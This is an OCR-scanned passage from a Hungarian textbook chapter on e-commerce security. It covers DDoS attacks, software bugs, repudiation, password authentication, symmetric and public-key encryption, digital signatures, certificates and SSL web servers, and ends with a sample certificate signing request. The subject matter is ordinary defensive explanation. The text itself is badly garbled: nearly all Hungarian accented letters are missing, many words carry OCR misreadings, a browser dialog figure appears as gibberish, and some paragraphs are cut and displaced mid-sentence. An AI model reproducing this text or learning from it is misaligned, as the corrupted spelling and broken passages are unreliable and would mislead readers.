szerepel feladkn t. Az rtatlan clpont gy dhdt levlrk ezreinek kldemnyvel lesz knytelen megbirkzni. Automatizlt eszkzk is lteznek megosztott DoS-tmadsok indtsra. Klnsebb tuds nlkl is brki megteheti, hogy ismert sebezhetsgek utn kutatva rengeteg gpet megvizsgl, betr egy nem megfelelen vdett gpbe,majd telepti az eszkzt. Automatizlt folyamatrl lvn sz, a tmad akr gpenknt t msodperc alatt teleptheti az eszkzt. Elegend sz m gp beszervezse utn mindegyiket utastja, hogy hlzati forgalommal rasszk el a clt. A DoS-tmadsok elleni vdekezs nem egyszer dolog. Kis kutatmunkval kiderthetjk, hogy mely alaprtelmezett portokat hasznljk a gyakori D DoS-eszkzk, s zrjuk be ezeket! Routernk kpes lehet az adott protokollokat (pldul ICMP) hasznl forgalom szzalkos mrtknek korltozsra. Knnyebb hlzatunkon bell olyan gpeket szrevenni, amelyeket msik gpek tmadsra hasznlnak, mint megvdeni szmtgpeinket a tmads ellen. Ha rninden hlzati rend szergazda megbzhat mdon felgyeln sajt hlzatt,a D DoS egyltaln nem jelentene problmt. lefoglalja, a reverse spam s az automatizlt eszkzk hasznlata. A reverse spam olyan levlszemt kikldsr jelenti, amelyben

Az e-kereskedelem biztonsgi krdsei

235

A szmtalan lehetsges tmadsi mdszer miatt az egyetlen igazn hatkony vdelem a szoksos forgalomviselkeds figye lse s olyan szakrti csapat fenntartsa, amely az abnormlis szirucik bekvetkezse esetn azonnal megteheti a szksges inrzkedseket.

Szoftverhibk
A szaftverekben - akr vsroltuk, szereztk vagy mi magunk rtuk - komoly hibk lehetnek. A webes projektekre jellemz rvid fejlesztsi id jelentsen megnveli az ilyen hibk eslyt. A hibs szoftverek a szmtgpes folyamatokra nagy mrtk ben tmaszkod vllalkozsokat sebezhetv teszik. A szaftverekben rejl hibk olyan, elre nem lthat helyzetekhez vezethetnek, mint a szolgltats elrhetetlensge, bizton sgi incidensek, pnzgyi vesztesg vagy alacsony sznvonal gyflkiszolgls. A leggyakoribb hibaokok kz a pontatlan specifikcik, a fejlesztk hibs feltevsei s a nem megfelel tesztels tartozik.

Pontatlan specifikcik
Minl felletesebb s minl flrerthetbb a tervdokumentci, annl valsznbb, hogy hibkat fogunk tallni a vgtermk ben. Akrmennyire feleslegesnek is tnik kiktni azt, hogy az gyfl hitelkrtyjnak elutastsa esetn a megrendelst nem szabad kikldeni, egy nagy kltsgvetssei mkd oldalnl elkvettk ezt a hibt. Minl kevesebb tapasztalattal rendelkeznek a fejlesztk az ltalunk ltrehozni kvnt rendszertpusban, annl pontosabb specifikcikat kell adnunk.

Fejlesztk hibsJeltevsei
A rendszer tervezinek s fejlesztinek szmos feltevssel kell lnik. Termszetesen abban remnykednk, hogy megfelelen dokumentljk ezeket, s az esetek tbbsgben igazuk lesz. Elfordul azonban olyan is, hogy az emberek hibs felttelezseket tesznek. Pldul felttelezik, hogy a beviteli adatok rvnyesek lesznek, nem tartalmaznak klnleges karaktereket, vagy adott mrernl kisebbek lesznek. Idztssei kapcsolatos feltevsek is lehetsgesek, pldul, hogy kt egymssal tkz mvelet egyide jsgnek a valsznsge csekly, vagy az, hogy egy sszetett feladat feldolgozsa mindig tovbb tart, mint egy egyszer feladat. Az ilyen felttelezsek azrt csszhatnak t, mert az esetek tbbsgben igazak. Egy cracker azonban kihasznlhatja azokat a puffertlcsordulsokat, amelyek azrt kveteznek be, mert a programoz hibsan felttelezte a beviteli adat maximlis hosz szc. Vagy egy szablyosan eljr felhasznl azrt kaphat hibazenetet, s azrt hagyja ott az oldalunkat, mert a fejlesztk nem gondoltak arra, hogy szemlynvben lehet aposztrf. Az ilyen jelleg hibkat megfelel tesztelssei s a kd kellen rszleres tvizsglsval megtallhatjuk s kijavthatj uk. A crackerek ltal a korbbi idszakokban kihasznlt opercisrendszer- vagy alkalmazsszint gyengesgek ltalban a puffertlcsordulssal vagy a verseny diktlta tl gyors fejlesztsekkel lltak sszefggsben.

15

Nem megfelel tesztels


Az sszes lehetsges beviteli adat, az sszes lehetsges hardvertpus, az sszes lehetsges opercis rendszer sszes lehetsges felhasznli belltssal val tesztelse ritkn megvalsthat. Ez a szekottnl is nagyobb mrtkben igaz a webalap rendsze rek esetben. Olyan jl elksztett tesztdsi tervre van szksg, amely a gyakori gptpusok reprezentatv mint:ijn teszteli szaftvernk sszes funkcijt. Egy jl megtervezett tesztsorozat projektnk k<ljnak minden sort legalbb egyszer ellenrzi. Idelis eset ben mindez automatizlt, gy a kvlasztott tesztgpeken minimlis erfesztssel lefuttathat. A tesztels legnagyobb baja, hogy unalmas s monoton feladat. Br vannak, akik lvezik, ha feltrhetnek valamit, kevesen vannak, akik szeretik jra meg jra ugyanazt feltrni. Fontos, hogy ne csak a fejlesztket vonjuk be, hiszen a tesztels egyik leg fbb clja, hogy fny derljn a fejlesztk hibs feltevseire. A projekthe friss detekkel rkez kls szemlyek j esllyel ms milyen feltevsekkel fognak lni. Radsul a profik jellemzerr nem gnek a vgyrl, hogy hibt keressenek sajt munkjukban.

Letagads
Az utols kockzati lehetsg, amivel foglalkozunk, a letagads (repudiation). Akkor kvetkezik be, ha a tranzakciban szerep l egyik fl letaga<lja rszvtelt. Az e-kereskedelem terletrl olyan idevg pldkat emlthetnk, mint amikor valaki rendel valamic egy weboldalrl, majd letagadja, hogy felhatalmazst adott hitelkrtyja megterhelsre. Vagy, amikor valaki e-mailben beleegyezik valamibe, majd azt lltja, hogy valaki ms hamistotta azt a levelet.

236

15. fejezet

Idelis esetben a pnzgyi tranzakcik a leragadharatlansg biztonsgt knljk nndkr flnek. Egyikk sem rudja leragad ni rszvtelt a tranzakciban, pontosabban nndkt fl hitelt rdemlen bizonytani ruclja harmadik szemly, pldul brsg eltt a msik fl tettt. A gyakorlatban azonban ritkn ez a helyzet. A felhasznli hitelests valamilyen mrtk bizonyossgat ad a msik flrL A megbizhat szervezet ltal kiadott digitlis tanstvnyok tovbb fokozhatjk a bizalmat. A felek ltal kldtt zeneteknek manipulcibiztosnak kell lennik. Nem sok hasznt vehetjk annak, ha bizonytani tudjuk, hogy a Kukuryin Bt. zenetet kldtt neknk, de arra nincsen bizonytkunk, hogy amit megkaptunk, az pontosan megegyezik azzal, amit a cg elkldtt. Mint mr emltettk, az zenetek alrsa vagy titkostsa megnehezti az szrevtlen mdostsukat. Folyamatos kapcsolarban lv zletfelek kztti tranzakcik esetn a digirlis tanstvnyok s a titkostott vagy alrt kom munikci hatkony mdja a letagadhatsg korltozsnak. Egyszeri tranzakciknl, pldul egy e-kereskedelmi oldal s egy hitelkrtyval fizet, j vsrl kztti els kapcsolatfelvtel esetn azonban ezek nem annyira praktikusak. Egy e-kereskedelemmel foglalkoz vllalat minden bizonnyal hajland azonossgnak bizonytsra, s nnden gond nlkl kifizet nhny szz dollrt egy olyan tanstvnykibocstnak, mint a VeriSign (http://www.verisign.com/) vagy a Thawte (http://www.thawte.com/), hogy megerstse a ltogatkban a cg j hirnevt. Ugyanennek a vllalatnak akkor el kellene utastania minden olyan gyfelet, aki nem hajland ugyanezzel a mdszerrel bizonytani azonossgt? Kis rtk tranzakcik esetben a kereskedk inkbb hajlandak elviselni a csals vagy letagads bizonyos szint kockzatt, minthogy elvesztsenek egy zleti lehetsget.

Hasznlhatsg, teljestmny, kltsg s biztonsg


Az internet jellegbl addan veszlyes. Kialaktsa lehetv teszi, hogy tbb nvtelen felhasznl intzzen szolgltatsi k rseket a gpnkhz. Ezek tbbsge teljesen szablyos, weboldalak letltsre vonatkoz krs, de szmtgpeink internethez csatlakoztarsval azt is lehetv tesszk az embereknek, hogy msfle kapcsoldsi tpusokat ksreljenek meg. Br azt gondolhatnnk, hogy nndig a lehet legmagasabb szint biztonsg a kvnatos, ez nem felttlenl igaz. Ha teljes biztonsgra van szksgnk, akkor kapcsoljuk k szntgpeinket, hzzuk ki a hlzatbl, s helyezzk ket egy szfbel Sz mtgpeink elrhetsge s hasznlhatsga azt kveteli meg, hogy bizonyos mrtkben laztsunk a biztonsgon. A biztonsg, hasznlhatsg, kltsg s teljestmny kztt szksgszeren tvlts ll fenn. Ha korltozzuk a felhasznlk lehetsgeit, vagy azonostsra szltjuk fel ket, hogy ezzel biztonsgosabb tegynk valamely szolgltatst, akkor egyttal annak hasznlhatsgt is cskkentjk. A biztonsg erstse szmitgpeink teljestmnyt is visszavetheti. A rendszernket biztonsgosabb tev szoftver - pldul titkosts, behatolsmegelz rendszer, vruskeres vagy teljes kr naplzs-futta tsa erforrsokat ignyel. A titkostott munkamenet (session)- pldul az SSL-kapcsolat egy weboldalhoz-a hagyomnyos

15

kapcsolaml nagyobb processzorteljestmnyt ignyel. Ezeket a teljestmnybeli vesztesgeket gyorsabb gpek vagy kifejezetten titkosts cljra kialaktott hardver beszerzsvel ellenslyozhatjuk. Ez termszetesen nveli kltsgeinket. A teljestmnye, hasznlhatsgot, kltsget s biztonsgot tekinthetjk egymssal versenyz cloknak. Tanulmnyozni kell a kztk fennll tvltsokat, s megfelel dntseket hozva kell kompronsszumra jutni. A vdeni kvnt informcikrl, pnztrcnktl, a kiszolglni tervezett ltogatk szmtl s a szablyosan eljr felhasznlk ltal mg elviselhetnek tlr biztonsgi intzkedsek mrtktl fggen kell megtallni a fenti clok kztti egyenslyi llapotot.

Biztonsgi hzirend ltrehozsa


A biztonsgi hzirend olyan dokumentum, amely az albbiakat hatrozza meg: A szervezet biztonsggal kapcsolatos, ltalnos filozfija A vdeni kvnt elemek - szoftver, hardver, adat Az ezek vdelmrt felels szemlyek A biztonsg szabvnyai s a mreszkzk, amelyek e szabvnyok teljestsnek mrtkt hatrozzk meg A biztonsgi hzirend ltrehozsa a szoftverek mkdsi kvetelmnyeinek megrshoz hasonl. A hzirendnek nem szk sges a konkrt megvalstssal vagy megoldsokkal foglalkoznia: a krnyezetnk ltal megfogalmazott clokat s biztonsgi elvrsokat kell tartalmaznia. Nem j, ha tl gyakran frissteni kell. Kln dokumentumban kell szablyozni a biztonsgi hzirend elvrsainak teljestst clz irnyelveket. Ebben a doku mentumban klnbz irnyelveket fogalmazhatunk meg szervezetnk klnbz egysgeinek. gy lehet ezt elkpzelni, mint egy tervdokumentumot vagy eljrsi kziknyvet, ami az elvrt biztonsgi szint garantlshoz szksges konkrt lpseket szablyozza.

Az e-kereskedelem bizronsgi krdsei

237

A felhasznli hitelests alapelvei


AJelhasznli hitelests (authentication) megksrli bizonytani, hogy valaki tnyleg az, akinek mondja magt. A hitelestse tbbflekppen megvalsthacjuk, de mint a biztonsgi intzkedsek cbbsgnl, itt is igaz, hogy minl biztonsgosabb a kiv lasztott mdszer, annl krlmnyesebb hasznlni. A hitelestsi mdszerek jelszavakat, digitlis alrsokat, biometrikus ellenrzseket- pldul ujjlenyomat-leolvasst-, illetve hardvereszkzket- pldul smart krtykat - hasznl ellenrzseket folyeaenak le. Az interneten ezek kzl csak kt mdszer, a jelszavak s a digitlis alrsok hasznlata terjede el. A biomecrikus ellenrzs s a hardveres megoldsok tbbsge egyedi beviteli eszkzket ignyel, gy az ezekkel felszerelt specilis szmirgpek hasznlatra korltozn a felhasznlkat. Ez megfelel, st akr kvnatos is lehet egy szervezet bels rendszereihez val hozzfrs esetn, de ltaluk elveszne a rendszer interneten keresztli elrhetsgbl add elnyk nagy rsze. A jelszavak egyszeren megvalsthat s hasznlhat, klnleges beviteli eszkzt nem ignyl felhasznli hitelestse tesz nek lehetv. Bizonyos szint azonostst garantlnak, m nagyfok biztonsgot ignyl rendszerekhez nem elgsgesek. A jelsz egyszeren mkdik. Mi magunk s a rendszer tudja a jelszt. Ha egy ltogat magunknak adja ki magt, s tudja jelszavunkat, akkor a rendszer jogosan felttelezi, hogy mi vagyunk ez a ltogat. Feltve, hogy senk ms nem ismeri s nem tudja kitallni a jelszt, a rendszer biztonsgos. Mindazonlcal a jelszavak hasznlata szmos potencilis gyengesget hordoz magban, nmagukban nem alkalmasak ers felhasznli azonostsra. Rengeteg knnyen kitallhat jelsz ltezik. Ha megengedjk a felhasznlknak, hogy sajt maguk hatrozzk meg jelsza vukat, nagyjbl minden msodik knnyen kcallhat jelszt vlaszr. Elssorban a sztri szavakat vagy a felhasznli nvvel megegyez jelszt kell itt megemltennk. A hasznlhacsg olern ldozva ktelezhetjk a felhasznlkat arra, hogy jelszava ik szmokat s klnleges karaktereket is tartalmazzanak. rdemes tovbb tjkoztatni a felhasznlinkac, hogyan vlasszanak maguknak biztonsgosabb jelszc, de nntegy 25 szzalkuk mg ebben az esetben is knnyen kcallhac jelszt vlaszt. Knnyen kitallhat jelszavak hasznlatt gy tudjuk megakadlyozni, ha az j jelszavakac sszehasonltjuk a sztri szavakkal, vagy megkveteljk bennk szmok vagy klnleges karakterek vagy kis- s nagybeck hasznla tt. A jelszavakta vonatkoz szigor szablyok veszlye, hogy szmos, szablysze ren eljr felhasznl nem fogja tudni megjegyezni a jelszavt. Klnsen akkor, ha a klnbz rendszerek eltr szablyok betartst krik tlk jelszavaik lcrehozsakor. A nehezen megjegyezhet jelszavak nvelik annak valsznsgc, hogy a felhasznlk olyan, nem biztonsgos lpshez fo lyamodnak, mint hogy felhasznli nevket s jelszavukat felrjk egy ntapads jegyzeccdulra, amit annak rendje s mdja szerint kiragaszeanak monicorukta. A felhasznlknak el kell mondani, hogy soha ne rjk le jelszavaikat, s soha ne tegyenek pldul olyan butasgot, hogy megadjk jelszavukat a telefonban egy olyan szemlynek, aki azt lltja, hogy a rendszeren dolgo zik. A jelszavakat elektronikusan is meg lehet szerezni. A crackerek billentyletseket figyel program futtatsval vagy a hl zati forgalmac csomagfigyel (packec sniffer) segtsgvel megvizsglva kpesek - s szaktak is - felhasznli nv-jelsz pro kat szerezni. A jelszavak ilyetn ellopsnak Iehetsgc a hlzari forgalom titkostsval lehet korlcozni. A jelszavak minden potencilis hibjuk ellenre egyszer s viszonylag hatkony mdszert knlnak felhasznlink ellen rzsre. Az ltaluk knlc biztonsgi szinc nem feledenl felel meg a nemzetvdelem szmra, de idelis- mondjuk- arra, hogy ellenrizzk egy gyflrendels Iciszlltsi llapott. A hitelestsi mechanizmusok a npszerbb bngszkbe s webszerverekbe be vannak ptve. A webszerver pldul fel hasznli nevet s jelszt krhec azoktl a szemlyekcl, akik a kiszolgl adort knyvtraiban lv fjlokta vonatkoz krst intznek. Felhasznli nv s jelsz krse esecn bngsznk a 15.2 brn lthat prbeszdablakhoz hasonlt jelenthec meg.

15

Entn-usemameoddfor"Dft'Aiu" UsetN1me

ll
PMSWOrd:

Usi!! Peuword MaMget ta remBnba' this p!IHWOI'd.

L-ewJ

15.2 bra: A bngszk Jelhasznli nevet s jelszt krnek a kiszolgl vdett knyvtrt Jelkeresni kvnJelhasznlktl.

238

15. fejezer

Az Apache webszerver s a Microsoft IlS is lehetv teszi, hogy honlapunk egszt vagy rszeit igen egyszeren megvdjk ezzel a mdszerrel. PHP vagy MySQL hasznlatval is elrhetjk ugyanezt az eredmnyr. A MySQL hasznlata gyorsabb, mint a beptett hitelests. PHP segtsgvel rugalmasabb ellenrzst mkdtethetnk, vagy a felhasznl szempontjbl tetszetsebb mdon llharunk el az ellenrzsre vonatkoz krssel. Vonatkoz pldkkal a

Hitelests megvalstsa PHP-vel s MySQL-lel cm 17. fejezetben tallkozunk majd.

A titkosts alapjai
A titkostsi algoritmus (encryprion algorithm) matematikai eljrs az informci ltszlag vletlenszer karaktersorr alakt sra. A kiindul adarot szoks egyszer szvegnek (plain text) nevezni, br a folyamar szempontjbl nincsen jelentsge an nak, hogy mit tartalmaz az informci - tnylegesen szveget vagy ms adatot. A titkostott informcit titkostott szvegnek (ciphertext) nevezzk, noha legkevsb szakott szvegnek ltszani. A 15.3 brn a titkosts egyszer folyamatbrjt lthat juk. Az egyszer szveget beadjuk egy titkosr motornak, amely rgebben mechanikus eszkz volt, mint pldul a Il. vilgh borban hasznlt Enigma, ma azonban szinte kivtel nlkl szmtgpes program. A moror titkosrott szveget llt el.

Titkost algoritmus

15.3 bra: A

titkosts fogja az egyszer szveget, s ltszlag vletlenszer karaktersorbl ll, titkostott szvegg alaka.

A 15.2 brn lthat ellenrzsi prbeszdablakot hasznl vdett knyvtr ltrehozshoz az Apache legegyszerbb el lenrzsi mdszert hasznltuk. (Mkdst a kvetkez fejezetben mutatjuk be.) Ez trolsuk eltt titkosrja a jelszavakat. Ltrehoztunk egy felhasznlt, aknek jelszava j els z o; az Apache titkosrotta, majd aWDuA3X3H. me 2-knt eleroita ezt. Lthat, hogy az egyszer s a titkostott szveg kztt semmi szemmel lthat hasonlsg nincsen. Ez a titkostsi mdszer nem visszafordthat. Rengeteg jelszt trolnak egyirny titkostsi algoritmussal. A felhasznl ltal bevitt jelsz ellenrzshez nem szksges visszafejteni az eltrolt jelszt. Ehelyett kisrletnl megadott jelszt, s sszehasonltja az eredeti titkostott vltozatval. Nem az sszes, de sok ritkosrsi folyamat visszafordthat. A fordrott folyamatot A 15.4 brn a ktirny titkostsi folyamarot lthatjuk.
a

rendszer titkosrja a bejelentkezsi

visszafejtsnek (decryprion) nevezzk.

15

15.4 bra: A

titkosts fogja az egyszer szveget, s ltszlag vletlenszer karaktersorbl ll, titkostott szvegg alaka. A visszafejts a titkostott szvegbl indul ki, azt alaka vissza egyszer szvegg.

A ritkosrs (kriptogrfia) majdnem 4000 ves, de nagykorsgt csak a Il. vilghbor idejn rte el. Azta a szmtgpes hlzatok elterjedshez hasonl utat jrt be: elszr a katonasgnl s a pnzgyi szervezeteknl, majd az 1970-es vektl kezdve egyre szlesebb krben alkalmaztk. gy a kilencvenes vekben mr szinte minden terleten megtallhat volt. Rgeb ben az tlagember csak II. vilghbors filmekben s kmregnyekben tallkozott titkosrssal, m az elmlt vekben mr az jsgcikkekben is olvashattunk rla, s nap mint nap hasznlja mindenki, ak az interneten vsrol. Szmtalan klnbz titkostsi algoritmus ltezik. Van olyan, pldul a DES, amelyik titkos (privt) kulcsot hasznl; m sok, pldul az RSA, nyilvnos kulcs s kln privt kulcs segtsgvel mkdnek.

Az e-kereskedelem biztonsgi krdsei

239

Privt kulcs titkosts


A privt - ms nven titkos- kulcs titkosts azon alapul, hogy feljogostott szemlyek ismernek egy kulcsot, vagy hozzfr nek. Ezt a kulcsot titokban kell tartani. Amennyibe illetktelenek kezbe kerl, jogosulatlan szemlyek is olvasni tudjk titkos tott zeneteinket. Ahogy a15.4 brn ltszik, a kld (aki titkosrja az zenetet) s a fogad (aki visszafejti azt) is ugyanazzal a kulccsal rendelkezik. A legszlesebb krben hasznlt privt kulcs algoritmus a Data Encryption Standard (DES- Adattitkosts-szabvny). Ezt a mdszert az IBM fejlesztette ki a hetvenes vekben, s az zleti s nyilvnos kormnyzati kommunikci amerikai szabv nyv vlt. A szmtsi sebessg azonban napjainkban mr nagysgrendekkel gyorsabb, mint 1970-ben volt, gy a DES krl bell1998 ta hasznlaton kvl van. Az egyb, jl ismert titkos kulcs rendszerek kz az RC2, az RC4, az RC5, a Triple DES s az IDEA tartozik. A Triple DES igen biztonsgos. Ugyanazt az algoritmust hasznlja, mint a DES, de hrom klnbz kulccsal hromszor alkalmazza.
Az egyszer szveget az egyes kulccsal titkosrja, a kettes kulccsal visszafej ti, m:lJd a hrmas kulccsal megint titkostja.

Megjegyzs: Furcsnak tnhet, de a Triple DES ktszer olyan biztonsgos, mint a DES. Ha hromszor ersebb-vdelemre
lenne szksgnk, programot kellene rnunk r, vagy tszrs DES-algoritmust kellene megvalstanunk. A titkos kulcs titkosts egyik nyilvnval problmja, hogy biztonsgos zenet kldshez biztonsgos mdszerre van

szksg. hogy a titkos kulcsot is elkldhessk. Ha ltezik biztonsgos mdszer a kulcs elkldsre, mirt nem kldjk gy az zenetet is? Szerencsre1976-ban, amikor Diflie s Hellman elllt az els nyilvnos kulcs rendszerrel, ttrs kvetkezett be ezen a tren.

Nyilvnos kulcs titkosts


A nyilvnos kulcs titkosts kt klnbz, egy nyilvnos s egy privt kulcson alapul. Ahogy a15.5 brn is lthat, a nyilv

nos kulccsal titkostjuk az zeneteket, a privt kulccsal pedig visszafejtjk azokat. A rendszer elnye, hogy a nyilvnos kulcs, ahogy neve is utal r, nyilvnosan megoszthat. Brk, akinek megadjuk nyilvnos kulcsunkat, kpes lesz neknk biztonsgos zenet kldeni. Amennyiben csak mi rendelkeznk a privt kulccsal, senk ms nem lesz kpes visszafejteni az zenetet. A legelterjedtebb nyilvnos kulcs algoritmus az MIT-n dolgoz Rivest, Shamir s Adelman ltal1978-ben kifejlesztett RSA. Az RSA szabadalommal vdett rendszer volt, a szabadalom azonban 2000 szeptemberben lejrt.

15

15.5 bra: A nyilvnos kulcs titkosts kln-kln kulcsot hasznl a titkostsra s a visszafejtsre.

Az, hogy a nyilvnos kulcsot szabadon elkldherjk, s nem kell aggdni, hogy harmadik szemly megszerzi, komoly elnyt jelent. Ennek ellenre a titkos kulcs rendszereket tovbbra is szles krben alkalmazzk. Gyakran vegyes rendszert mkd temek: nyilvnos kulcs rendszerrel kldik a kulcsot a titkos kulcs rendszerhez, amellyel a kommunikci tovbbi rszt bonyoltjk. A bonyolultabb felllst ellenslyozza, hogy a titkos kulcs rendszerek mintegy ezerszer gyorsabbak a nyilvnos kulcsaknl.

Digitlis alrsok
A digitlis alrsok a nyilvnos kulcs kriptogrfia tmakrhez kapcsoldnak, m a nyilvnos s privt kulcsokhoz kpest forditott szerepet tltenek be. A kld titkos kulcsval titkosrja s digitlisan alrja zenett. Az zenet megrkezsekor
a

fogad a kld nyilvnos kulcsval tudja visszafejteni azt. Mivel a kld az egyetlen szemly, aki hozzfr a titkos kulcshoz,

a fogad viszonylagos bizonyossggal meg tudja llaptani, kitl jtt az zenet, illetve hogy nem mdostottk-e.

240

15. fezer

A digirlis alrsok rendkivl hasznosak rudnak lenni. A fogad bizonyossger kaphat, hogy az zeneret nem hamisrotrk meg, az alrsok pedig megneheztik a kld szmra az zenetklds leragadst. Fontos megjegyezni, hogy br az zenet titkosrva van, a nyilvnos kulcs birtokban brki ltal olvashat. Noha ugyanazokar a mdszereker s kulcsokar hasznlja, a titkosts clja itt a hamists s klds letagadhatsgnak megakadlyozsa, nem pedig a beleolvass megelzse. Mivel a nyilvnos kulcs titkosts nagy zenerek esetben viszonylag lass, ltalban egy msik tpus algoritmust, gyne vezett hash fggvnyt hasznlnak a hatkonysg nvelsre. A hash fggvny (magyarul hast fggvnynek is szoks nevezni) a neki radott brmely zenethez kiszmrja az ahhoz tartoz zenerkivonatot (message digest) vagy hash rtket. Nem az algoritmus ltal kiszmtott rtk a fontos, hanem az, hogy a kimenet egyrtelm hozzrendels eredmnye, vagyis egy adott bemenet (zenet) rnindig ugyanazt a kimenetet eredmnyezi: a kimenet kicsi, az algoritmus pedig gyors. A leggyakrabban hasznlt hash fggvny az MDS s az SHA. A hash fggvny az adott zenetnek megfelel zenerkivonatot llt el. Az zenet s az zenetkivonat birtokban meggy zdhetnk arrl, hogy az zenetet nem hamistottk-e meg - feltve, hogy biztosak lehetnk abban, hogy a kivonat nincsen manipullva. Ezrt a digitlis alrs ltrehozsnak szoksos m<lja, hogy a gyors hash fggvnnyel elksztjk a teljes zenet zenetkivonatt, majd csak ezt a rvid kivonatot titkostjuk a nyilvnos kulcs - s ppen ezrt lass - titkostsi algoritmus sal. Az alrs most mr az zenettel egytt, hagyomnyos, nem biztonsgos mdon is kldhet. Alrt zenet rkezsekor ellenrizhetjk azt. Az alrst a kld nyilvnos kulcsval fejtjk vissza. Ezt kveten a kld ltal hasznlt mdszerrel hash rtket hozunk ltre az zenethez. Ha a visszafejtett hash rtk megegyezik az ltalunk elll tottal, a kld zenett senki sem mdostotta.

Digitlis tanstvnyok
Praktikus, ha meg rudunk bizonyosadni arrl, hogy a kapott zenetet nem manipullrk, vagy egy zenetsorozat adott fel hasznlrl vagy gptl rkezett. zleti kapcsolatok esetn ennl is hasznosabb, ha ltez ( jogi) szemlyhez, azaz termszetes szemlyhez vagy cghez rudjuk ktni azt a felhasznlt vagy kiszolglt. A digitlis tansrvny alrt, digitlis formban kombinl egy nyilvnos kulcsot s az adott szemly vagy szervezet adatait. A tansrvny birtokban rendelkeznk a msik fl nyilvnos kulcsval arra az esetre, ha titkostott zenetet akarunk kldeni, s ismerjk a msik fl adatait, amelyekrl tu<ljuk, hogy nem lettek megvltozrarva. A gond legfeljebb annyi, hogy az informci csak annyira megbzhat, mint az, aki alrta. Brki ltrehozhat s alrhat olyan tanstvnyt, amely azt lltja, hogy ez s ez. zleti tranzakcik esetn arra van szksg, hogy megbzhat harmadik szemly ellenrizze a rsztvevk azonossgt s a tanstvnyaikban rgztett adatokat. Az ilyen harmadik szemlyeket tanst szervezeteknek (certifying authoriry- CA) nevezzk. Ezek azonossguk ellenrzse

15

utn digitlis tansrvnyokat adnak ki magnszemlyeknek s cgeknek. A kt legismertebb CA a VeriSign (http:/ /www. verisign.com/) s a Thawte (http://www.thawte.com/), de sok ms ilyen szervezet is mkdik. A Thawte a VeriSign tulaj donban van, s kevs gyakorlati klnbsg van a kett kztt. Egyes ms szervezetek, pldul a Nerwork Solutiens (http:/ l www.nerworksolutions.com) s a GoDaddy (http://www.godaddy.com/), jelentsen olcsbbak. A szervezerek tanstvnyt adnak ki arrl, hogy ellenriztk az adott szemly vagy cg (szemly)azonossgt. Fontos tisztz ni, hogy a tansrvny nem a megbzhatsgrl vagy hitelkpessgrl szl. A tanstvny nem garancia arra, hogy zletfelnk tisztessges, megbzhat partner. Pusztn arrl van sz, hogy ha becsapnak bennnket, akkor viszonylag j esllyel birtokunk ban van egy vals fizikai cm s valaki, aki ellen jogi ton fellphetnk. A tanstvnyok bizalmi hlzator hoznak ltre. Amennyiben rni megbzunk a tanst szervezetben, akkor megbzharunk azokban is, akikben ez a szervezet megbzott, s ugyangy megbzharunk azokban is, akikben a tanstvnnyal rendelkez fl is megbzott. A digitlis tanstvnyok leggyakoribb hasznlati clja, hogy a tisztessg s megbzhatsg rzett keltsk az e-kereskedelmi oldalak ltogatiban. Jl ismert CA ltal kiadott tansrvny birtokban a bngszk figyelmeztet ablak megjelentse nlkl rudnak SSL-kapcsolatot teremteni oldalunkhoz. Az SSL-kapcsolator lehetv tev webszervereket biztonsgos webszervereknek nevezik.

Biztonsgos webszerverek
A bngszkkel folytatott, Secure Sockets Layer protokollon keresztli, biztonsgos kommunikcihoz hasznlharunk Apache webszervert, Microsoft liS-t vagy brmilyen ms ingyenes vagy fizets webszervert. Az Apache lehetv teszi Unix szer opercis rendszer hasznlatr, ami szinte minden esetben megbzhatbb, m kiss bonyolulrabban bellthat, mint az IlS. Termszetesen vlaszthatjuk azt is, hogy Windows platforrnon hasznljuk az Apache-t.

Az e-kereskedelem biztonsgi krdsei

241

Az SSL IIS-en trtn hasznlathoz telepteni kell az IlS-t, ltre kell hozni egy kulcsprt, majd telepteni kell tanstv nyunkat. Apache esetben az OpenSSL csomagot is telepteni kell, s a szerverszoftver teleptsekor a mod ssl modult is be kell kapcsolni. Clunkat gy is elrhetjk, ha az Apache fizets vltozatt vsroljuk meg. A Red Hat veken keresztl forgalmazott egy ilyen, Stronghold nev termket, amely ma mr a Red Hat Enterprise Linux termkekkel egy csomagban kaphat. Ilyen meg olds beszerzse esetn a Linux megbzhatsgt s egy knnyen telepthet termket kapunk a forgalmaz mszaki tmoga tsval kiegsztve. A kt legnpszerbb webszerver, az Apache s az IIS teleptsi utastsait A PHP s
a

MySQL teleptse cm Fggelkben

talljuk. Az SSL hasznlatt sajt digitlis tanstvnyunk ltrehozsa utn akr azonnal megkezdhetjk, m ebben az esetben

a bngszk figyelmeztetni fogjk oldalunk ltogatit, hogy tanstvnyunkat mi magunk rtuk al. Az SSL rdemi hasznla thoz tanst szervezet ltal kiadott tanstvnyra lesz szksgnk. A tanstvny megszerzsnek pontos folyamata tanst szervezetenknt eltr, de ltalnossgban elmondhat, hogy bizonytani kell a szervezet fel, hogy fizikai cmmel rendelkez, jogszeren mkd vllalkozs vagyunk, s a szban forg domainnv a mi tulajdonunkban van. Tanstvny-alrsi krelmet (CSR) is el kell lltanunk. Ennek folyamata kiszolglnknt eltr. Az erre vonatkoz utas tsokat a tanst szervezet honlapjn tallj uk. A Stronghold s az IlS prbeszdablakok segitsgvel vezet vgig a folyamaton, Apache esetben azonban neknk kell berni a parancsokat. A folyamat lnyege azonban minden kiszolgl esetn ugyanaz.
A vgeredmny egy titkostott CSR, amely a kvetkezhz hasonlan kell, hogy kinzzen:
---BEGIN NEW CERTIFICATE REQUEST-- MIIBuwiBAAKBgQCLnlXX8faMHhtzStp9wY6BVTPuEU9bpMmhrb6vgaNZy4dTe6VS 84p7wGepq5CQjfOL4Hjda+g12xzto8uxBkCD098Xg9q86CY45HZk+q6GyGOLZSOD 8cQHwhloUP65s5Tz0180FB zpi3bHxf06aYelWYziDiFKp1BrUdua+pK4SQIVAPLH SV9FSz8Z7IHOg1Zr5H82oQOlAoGAWSPWyfVXPAF8h2GDb+cf97k44VkHZ+Rxpe8G ghlfBn9L3ESWUZNOJMfDLlny7dStYU98VTVNekidYuaBsvyEkFrny7NCUmiuaSnX 4UjtFDkNhX9j5YbCRGLmsc865AT54KRu3102/dKHLo6NgFPirijHy99HJ4LRY9Z9 HkXVzswCgYBwBFH2QfK88C6JKW3ah+6cHQ4Deoiltxi627WN5HcQLwkPGn+WtYSZ jG5tw4tqqogmJ+IP2F/5G6FI2DQP7QDvKNeAU8jXcuijuWo27S2sbhQtXgZRTZvO jGn89BC0miHgHQMki7vz35mx1Skk3VNq3ehwhGCvJlvoeiv2J8X2IQIVAOTRp7zp En7QlXnXwls7xXbbuKPO ---END NEW CERTIFICATE REQUEST---

